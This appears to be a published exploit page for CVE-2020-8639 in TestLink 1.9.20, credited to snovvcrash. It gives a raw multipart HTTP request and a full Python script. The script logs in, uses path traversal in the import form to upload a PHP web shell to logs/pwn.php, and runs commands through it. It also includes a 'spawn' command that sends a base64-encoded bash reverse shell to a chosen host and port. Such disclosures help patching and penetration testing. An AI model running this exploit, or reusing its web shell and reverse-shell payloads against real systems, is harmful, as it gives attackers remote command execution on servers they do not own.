Share
## https://sploitus.com/exploit?id=PACKETSTORM:161401
# Exploit Title: TestLink 1.9.20 - Unrestricted File Upload (Authenticated)  
# Date: 14th February 2021  
# Exploit Author: snovvcrash  
# Original Research by: Ackcent AppSec Team  
# Original Research: https://ackcent.com/testlink-1-9-20-unrestricted-file-upload-and-sql-injection/  
# Vendor Homepage: https://testlink.org/  
# Software Link: https://github.com/TestLinkOpenSourceTRMS/testlink-code  
# Version: 1.9.20  
# Tested on: Ubuntu 20.10  
# CVE: CVE-2020-8639  
# Requirements: pip3 install -U requests bs4  
# Usage Example: ./exploit.py -u admin -p admin -P 127.0.0.1:8080 http://127.0.0.1/testlink  
  
"""  
Raw exploit request:  
  
POST /testlink/lib/keywords/keywordsImport.php HTTP/1.1  
Host: 127.0.0.1  
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8  
Accept-Language: en-US,en;q=0.5  
Accept-Encoding: gzip, deflate  
Content-Type: multipart/form-data; boundary=---------------------------242818621515179709592867995067  
Content-Length: 1187  
Origin: http://127.0.0.1  
Connection: close  
Referer: http://127.0.0.1/testlink//lib/keywords/keywordsImport.php?tproject_id=1  
Cookie: PHPSESSID=kvbpl3t3lec42qbjdcgdppncib; TESTLINK1920TESTLINK_USER_AUTH_COOKIE=af57ebce9f54ce0f0e36d24ef25dc9c1b3a9d2f8e0b9cb4454c973927306e90f  
Upgrade-Insecure-Requests: 1  
  
-----------------------------242818621515179709592867995067  
Content-Disposition: form-data; name="CSRFName"  
  
CSRFGuard_1115715115  
-----------------------------242818621515179709592867995067  
Content-Disposition: form-data; name="CSRFToken"  
  
506c4b44825c5e5885231c263e7195188dedbd154b9cf74e5d183c1feb953aec7c0edae1097649d82acd20f6f851e0cdbac91cc0589d1cfd6fb13741f9cf0cb8  
-----------------------------242818621515179709592867995067  
Content-Disposition: form-data; name="importType"  
  
/../../../logs/pwn.php  
-----------------------------242818621515179709592867995067  
Content-Disposition: form-data; name="MAX_FILE_SIZE"  
  
409600  
-----------------------------242818621515179709592867995067  
Content-Disposition: form-data; name="uploadedFile"; filename="foo.xml"  
Content-Type: application/xml  
  
<?php if(isset($_REQUEST['c'])){system($_REQUEST['c'].' 2>&1' );} ?>  
-----------------------------242818621515179709592867995067  
Content-Disposition: form-data; name="tproject_id"  
  
1  
-----------------------------242818621515179709592867995067  
Content-Disposition: form-data; name="UploadFile"  
  
Upload file  
-----------------------------242818621515179709592867995067--  
"""  
  
#!/usr/bin/env python3  
  
import re  
from urllib import parse  
from cmd import Cmd  
from base64 import b64encode  
from argparse import ArgumentParser  
  
import requests  
from bs4 import BeautifulSoup  
  
parser = ArgumentParser()  
parser.add_argument('target', help='target full URL without trailing slash, ex. "http://127.0.0.1/testlink"')  
parser.add_argument('-u', '--username', default='admin', help='TestLink username')  
parser.add_argument('-p', '--password', default='admin', help='TestLink password')  
parser.add_argument('-P', '--proxy', default=None, help='HTTP proxy in format <HOST:PORT>, ex. "127.0.0.1:8080"')  
args = parser.parse_args()  
  
  
class TestLinkWebShell(Cmd):  
  
payloadPHP = """<?php if(isset($_REQUEST['c'])){system($_REQUEST['c'].' 2>&1' );} ?>"""  
uploadPath = 'logs/pwn.php'  
prompt = '$ '  
  
def __init__(self, target, username, password, proxies):  
super().__init__()  
  
self.target = target  
self.username = username  
self.password = password  
  
if proxies:  
self.proxies = {'http': f'http://{proxies}', 'https': f'http://{proxies}'}  
else:  
self.proxies = None  
  
self.session = requests.Session()  
self.session.verify = False  
  
resp = self.session.get(f'{self.target}/login.php', proxies=self.proxies)  
soup = BeautifulSoup(resp.text, 'html.parser')  
  
self.csrf_name = soup.find('input', {'name': 'CSRFName'}).get('value')  
self.csrf_token = soup.find('input', {'name': 'CSRFToken'}).get('value')  
self.req_uri = soup.find('input', {'name': 'reqURI'}).get('value')  
self.destination = soup.find('input', {'name': 'destination'}).get('value')  
  
def auth(self):  
data = {  
'CSRFName': self.csrf_name,  
'CSRFToken': self.csrf_token,  
'reqURI': self.req_uri,  
'destination': self.destination,  
'tl_login': self.username,  
'tl_password': self.password  
}  
  
resp = self.session.post(f'{self.target}/login.php?viewer=', data=data, proxies=self.proxies)  
if resp.status_code == 200:  
print('[*] Authentication succeeded')  
  
resp = self.session.get(f'{self.target}/lib/general/mainPage.php', proxies=self.proxies)  
if resp.status_code == 200:  
print('[*] Loaded mainPage.php iframe contents')  
soup = BeautifulSoup(resp.text, 'html.parser')  
  
self.tproject_id = soup.find('a', {'href': re.compile(r'lib/keywords/keywordsView.php\?')}).get('href')  
self.tproject_id = parse.parse_qs(parse.urlsplit(self.tproject_id).query)['tproject_id'][0]  
  
print(f'[+] Extracted tproject_id value: {self.tproject_id}')  
  
else:  
raise Exception('Error loading mainPage.php iframe contents')  
  
else:  
raise Exception('Authentication failed')  
  
def upload_web_shell(self):  
files = [  
('CSRFName', (None, self.csrf_name)),  
('CSRFToken', (None, self.csrf_token)),  
('importType', (None, f'/../../../{TestLinkWebShell.uploadPath}')),  
('MAX_FILE_SIZE', (None, '409600')),  
('uploadedFile', ('foo.xml', TestLinkWebShell.payloadPHP)),  
('tproject_id', (None, self.tproject_id)),  
('UploadFile', (None, 'Upload file'))  
]  
  
resp = self.session.post(f'{self.target}/lib/keywords/keywordsImport.php', files=files, proxies=self.proxies)  
if resp.status_code == 200:  
print(f'[*] Web shell uploaded here: {self.target}/{TestLinkWebShell.uploadPath}')  
  
print('[*] Trying to query whoami...')  
resp = self.session.get(f'{self.target}/{TestLinkWebShell.uploadPath}?c=whoami', proxies=self.proxies)  
if resp.status_code == 200:  
print(f'[+] Success! Starting semi-interactive shell as {resp.text.strip()}')  
  
else:  
raise Exception('Error interacting with the web shell')  
  
else:  
raise Exception('Error uploading web shell')  
  
def emptyline(self):  
pass  
  
def preloop(self):  
self.auth()  
self.upload_web_shell()  
  
def default(self, args):  
try:  
resp = self.session.get(f'{self.target}/{TestLinkWebShell.uploadPath}?c={args}', proxies=self.proxies)  
if resp.status_code == 200:  
print(resp.text.strip())  
except Exception as e:  
print(f'*** Something weired happened: {e}')  
  
def do_spawn(self, args):  
"""Spawn a reverse shell. Usage: \"spawn <LHOST> <LPORT>\"."""  
try:  
lhost, lport = args.split()  
payload = f'/bin/bash -i >& /dev/tcp/{lhost}/{lport} 0>&1'  
b64_payload = b64encode(payload.encode()).decode()  
cmd = f'echo {b64_payload} | base64 -d | /bin/bash'  
self.default(cmd)  
except Exception as e:  
print(f'*** Something weired happened: {e}')  
  
def do_EOF(self, args):  
"""Use Ctrl-D to exit the shell."""  
print(); return True  
  
  
if __name__ == '__main__':  
tlws = TestLinkWebShell(args.target, args.username, args.password, args.proxy)  
tlws.cmdloop('Type help for list of commands')